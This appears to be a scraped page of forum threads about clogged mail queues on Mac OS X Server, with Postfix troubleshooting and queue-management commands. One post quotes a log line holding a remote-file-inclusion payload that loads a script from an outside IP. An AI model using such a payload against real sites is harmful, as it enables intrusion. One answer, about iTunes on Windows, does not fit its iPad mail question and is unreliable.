Mail Queue clogging up...

All of a sudden, our Mac OS X Server 10.4.2. has stopped sending (both externally and internally) as well and delivering mail.
The mail is apparently in the queue, as reported by the Server Admin tool, so incoming mail is there as well as outgoing.
Here is a snippet of mail.log that is representative of the issue... any thoughts or suggestions?

Hi Alex, thanks for your note. According to the system admins normally in charge insist no updates or anythinig have been done at all. Just today, it stopped working.
In any event, here is the output you requested... thanks for any further assistance you can offer!

  • What mail queuing notifications are available with Exchange Online Protection (EOP)?

    Basically, if EOP detects a service failure for the on-premises Exhange Servers and mail queuing is enabled, what notifications are available from EOP when mail queuing is enabled? I am unable to find a screenshot or documentation regarding this.
    Does EOP have the ability to email and or SMS notifications to an outside email address indicating the mail queuing has been enabled for the domain?

    Unfortunately, EOP doesn't have an ability to notify you with the SMS or email if the email is queued. We need to perform a message trace on the EOP to review the list of emails which is in pending status.

  • How  to look at mail queue

    I have installed Collaboration Suite 9.0.3, and am curious to know how to look at the mail queue on the OCS server, and more specifically, how do I delete emails in the queue? Somebody apparently found us during the installation of this server before I could lock it down with spam rules, and I have a ton of junk emails stuck in the queue that won't go anywhere. How do I get rid of those messages? They are literally using up the server resources after about 5 hours of the server trying to send them.
    Thanks,
    Michael

    Well, I guess that's part of the problem too. I'm not sure I have emails in the queue. I have the OCS server set up with the relay host set to another server on the network running sendmail. If I stop the smtp_out service on the OCS server, and then start it again, I see a bunch of messages being sent to the relay server to be delivered, most of them spam as far as I can tell. The sendmail server is set to reject those messages, so it does not try to deliver them and therefore does not put them in the queue on that server. However, regardless of restarting smtp_out, restarting Unified Messaging, restarting OCS, or restarting the entire server, those messages continue to remain in what I'm assuming is the queue on the OCS server. Does that make any sense? From what I can get from the documentation, they must be sitting in the mailstore database somewhere, and I'm wondering if there is a query I can run to at least look and see what is there, and preferable delete them. Otherwise, I guess I have to wait 5 days for the server to finally give up.
    Any ideas?
    Thanks,
    Michael

  • Trying to implement a mail queue

    I'm trying to implement a very basic mail queue using ExecutorService and a Callable split into a producer which builds the email and an email queue and a consumer to send the queued message out but I keep getting:
    java.lang.NullPointerException
         at javax.mail.Transport.send(Transport.java:97)
         at org.bedework.mail.sendMail.call(sendMail.java:45)
         at java.util.concurrent.FutureTask$Sync.innerRun(Unknown Source)
         at java.util.concurrent.FutureTask.run(Unknown Source)
         at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source)
         at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
         at java.lang.Thread.run(Unknown Source)
    I'm not sure how to get the transport variable passed across and read by the consumer thread.
    The consumer code is:
    public class sendMail implements Callable<Object> {
         private ArrayBlockingQueue<Object>  queuedMail;
         private Transport trans;
         private MimeMessage msg;
         private Logger log = Logger.getLogger(sendMail.class);
         public sendMail (ArrayBlockingQueue<Object> queuedMail, Transport trans) {
              this.trans = trans;
              this.queuedMail = queuedMail;
         public Object call() throws Exception {
              try {
                   queuedMail.poll();
                   synchronized (queuedMail) {
                      if (queuedMail.isEmpty()) {
                         queuedMail.wait(1000);
                   try {
                        trans.send(msg);
                        Thread.sleep(1000);
                   } catch (Exception e) {
                        e.printStackTrace();
              } catch (Exception e) {
                   e.printStackTrace();
              return null;
    }The code that calls it is:
    tr = sess.getTransport(config.getProtocol());
            pool.submit(new buildMail(sess, cal, originator, to, subject));
            pool.submit(new sendMail (mailqueue, tr));I'd be grateful for any pointers in getting this sorted out.

    First, read this FAQ item:
    [http://java.sun.com/products/javamail/FAQ.html#send|http://java.sun.com/products/javamail/FAQ.html#send]
    Then explain to me how "msg" is ever set in your sendMail class.

  • My gmail account is no longer available on my iPad 2 in the mail queue at the bottom. How can I reset it?

    This morning when I opened my iPad to check my email, the mail queue at the bottom was blank when I opened it. Upon further tries of trying to reset, it keeps telling me it can verify and that if I save the info submitted, it may not be available to me. How do I go back to yesterday when it worked?

    (1) Download the Windows Installer CleanUp utility installer file (msicuu2.exe) from the following Major Geeks page (use one of the links under the "DOWNLOAD LOCATIONS" thingy on the Major Geeks page):
    http://majorgeeks.com/download.php?det=4459
    (2) Doubleclick the msicuu2.exe file and follow the prompts to install the Windows Installer CleanUp utility. (If you're on a Windows Vista or Windows 7 system and you get a Code 800A0046 error message when doubleclicking the msicuu2.exe file, try instead right-clicking on the msicuu2.exe file and selecting "Run as administrator".)
    (3) In your Start menu click All Programs and then click Windows Install Clean Up. The Windows Installer CleanUp utility window appears, listing software that is currently installed on your computer.
    (4) In the list of programs that appears in CleanUp, select any Apple Software Update entries and click "Remove", as per the following screenshot:
    (5) Quit out of CleanUp, restart the PC and try another iTunes install using an iTunesSetup.exe (or iTunes64Setup.exe) downloaded from the Apple Website:
    http://www.apple.com/itunes/download/
    Does it go through properly this time?

  • Mail queue filling up, delivery real slow

    mail server is: 10.4.2 running on a dual 2 GHz Xserve 1 gig RAM
    2 hard drives. 1 boot, 1 mail store
    my mail queue is filling up with messages that can't be delivered. bad address usually. not sure why they make into the queue in the first place.
    The queue reaches as high a 7000+ messages.
    This is really killing my server. Can anyone shed some light??

    I do have a few Windows clients. They have up to date virus protection but they could very well be infected with some malware. I haven't had the chance to run SpyBot on them.
    Sorry for the long postconf output.
    I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
    I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
    Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
    Any other ideas are welcome!
    Thanks,
    Josh

  • Mail Queue question

    I can't seem to get the mail queue to show the email that the server recived
    I changed the mail store location to another hard drive on the same server.
    and I moved data base location to the same hard drive as the mail store.
    Does that have any effect on the Mail Queue?
    when is the mail queue supose to show mail? (incoming, out going, or both?)
    the server sends and recives mail fine so i am sure it is something small but I dont know what
    thanks in advance to anyone that can help me

    Unless you have a very busy mail server, you probably will not see anything. That queue window is not 'live' but merely refreshes itself every 15 seconds (IIRC) - keep hitting 'refresh' and you should pick up something. If everything is working normally then mail actually spends very little time in a 'queue' as it passes from one process to another. Normally, you might just see deferred delivery mail there.

  • Mail QUEUE keeps filling up 17000+ emails

    I am running a OS 10.4.11 w/latest security updates. Approx 50 active email accounts but a high volume of emails. We have been shut down by our ISP for an open proxy (unsure if this is related or not). We keep getting thousands of emails flooding our mail queue from unknown sources to unknown address. I have read another post with similar issues and I want to update the postfx config to keep this over load of emails from reaching the queue. I am not that great with command line and would like a little help. I have read FRONT-LINE SPAM DEFENSE FOR MAIL SERVERS, and need just a bit of help getting started. ANY help will be appreciated.

    Using text wrangler and editing the main.cf file. I am also looking at the logs and here is what I had on the 31st when we got blocked by our ISP, it looks like just a bunch of spam flooding us with malformed names.

  • Mail Queue Filling Up - Spam?

    Hi All,
    Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
    I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
    here is my config file.

    Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
    When I look at the mail log for one the messages with the ID of 39E33163839, I see:

    The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
    Am I correct that this is a code injection?
    I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
    The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
    Thanks

  • Mail queue filling up - Delivery Temporarily Suspended Connection Refused

    About 2 hours ago we stopped getting any email from our server. The mail queue is filling up. If I click on one of the messages in queue, it gives me a message of "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: connection refused".
    What happened????
    Thanks,

    My configuration was running fine for months but suddenly every night amavisd stops running (I suppose after mailbfr ran). I have to launch amavisd manually with +sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist+ every day.
    Maybe something is wrong with my org.amavis.amavisd.plist? Here is it:

  • What to do with mail stuck in mail queue?

    I think i have my web and e-mail server running fine, all mail from the users is coming and going as should. But I have to delete the mail queue every two days or so because it is filling up with junk mail to unknown senders and users. I think everting is setup correct and I do not have an open relay, but is there some way I can have it delete the junk mail in this queue by itself?

    Most likely you have postfix configured to accept any mail. Being for known or unknown users. Thus, mail for unknown users (mostly spam) gets only bounced at a later stage (cyrus/IMAP), which in turn creates those pesky Mailer-Daemon messages in your queue.
    Being spam, there is usually no proper return address, so those messages stay in your queue, until they expire after 5 days (default value).
    See my tutorial on how to improve Postfix' configuration here: http://osx.topicdesk.com/content/view/38/62/

  • Server Admin- Mail queue is this before or after its been checked as spam?

    Hi we have been bombarded with shed loads of junk causing the mail queue to swell and slow down considerably almost to a halt. I have now created the junkmail account and the notjunkmail accounts and now trying to teach the server to sort itself out.
    However in the queue we have MADEUP [email protected] and Im deleting these manually as i cant mark these as junkmail. Will the server once taught, be able to distinguish between the real users and the made up ones?
    Also is what is in the queue is this after the filtering or what will be filtered?
    Thanks Hope this makes sense.
    Oh and if any one knows any great bolt on gui spam filters for mac server 10.4 id appreciate your advice... Thanks

  • Mail Stuck in Mail Queue

    This weekend, I did a clean install on my Apple OS X server (the upgrade from 10.3 to 10.4 introduced some weird behavior, so I wanted to do a clean install 10.4 --> 10.4 to clear out the problems). I used mailbfr to backup my imap datebase and I exported my users and groups from Workgroup Manager.
    I then did the clean install. After applying the software updates and repairing permissions, I used Workgroup Manager to import the old groups and users. Then, I applied all of the old passwords to the user accounts.
    I then used mailbfr to restore the old mail.
    At this point, all of the old mail (backed up by mailbfr) is apprearing fine in the client mail applications, but all new mail is going to the mail queue and is just sitting there. I've tried "sudo postsuper -r ALL" and that just re-queues the mail.
    A typical SMTP message reads:
    Jul 22 22:11:36 mail postfix/qmgr[303]: 979324F446: from=<[email protected]>, size=1750, nrcpt=1 (queue active)
    Jul 22 22:11:36 mail postfix/qmgr[303]: 979324F446: to=<[email protected]>, relay=none, delay=267, status=deferred (delivery temporarily suspended: transport is unavailable)
    For the same message the Mail Queue offers the following detail information:
    Message ID: 4388A4F41B
    Date: Sat Jul 22 22:18:50
    Size: 1892
    Sender: [email protected]
    Recipient(s) & Status:
    [email protected]:
    delivery temporarily suspended: transport is unavailable
    Do you have any of you have ideas as to how I might fix this problem?

    Well ... a big fat nevermind. Sorry about that. I stopped and restarted the server after posting this, and mail started receiving just fine and the queue cleared itself.
    All seems well.

  • Any way to clear the Mail Queue Completely?

    So it seems my SMTP service was hacked over the weekend, with someone deciding to use my server to send a whole lot of mail. I've shut down the service and locked down the security hole, but now I have a lot of mail sitting in the queue and it is taking hours to clear it all out by using the Maintenance tab. Is there a quicker, easier way to clear the queue?

    Hi
    Rather than using Server Admin it's generally agree to use the command line instead.
    sudo mailq
    This command flushes the mail queue
    sudo postfix flush
    To re-queue the mail queue
    sudo postsuper -r ALL
    Command to see what's in the mail queue
    sudo postqueue -p
    Command to delete everything in the mail queue
    sudo postsuper -d ALL
    If you've got lots in there it will take some time. You might benefit by stopping the mail service first:
    sudo serveradmin stop mail
    Use this command to restart the service afterwards:
    sudo serveradmin start mail
    If you've got a lot of mail in there it will take the time it takes. You will need some patience. This link discusses how you can secure your mail server:
    http://osx.topicdesk.com/content/view/38/41/
    Some friendly advice. Secure your server further by placing it behind a firewall. Only open ports required by the Mail Service. If you have to open ssh secure it by using ssh-keygens and disable sshd passwords. Beef up all your passwords.
    My 2p.
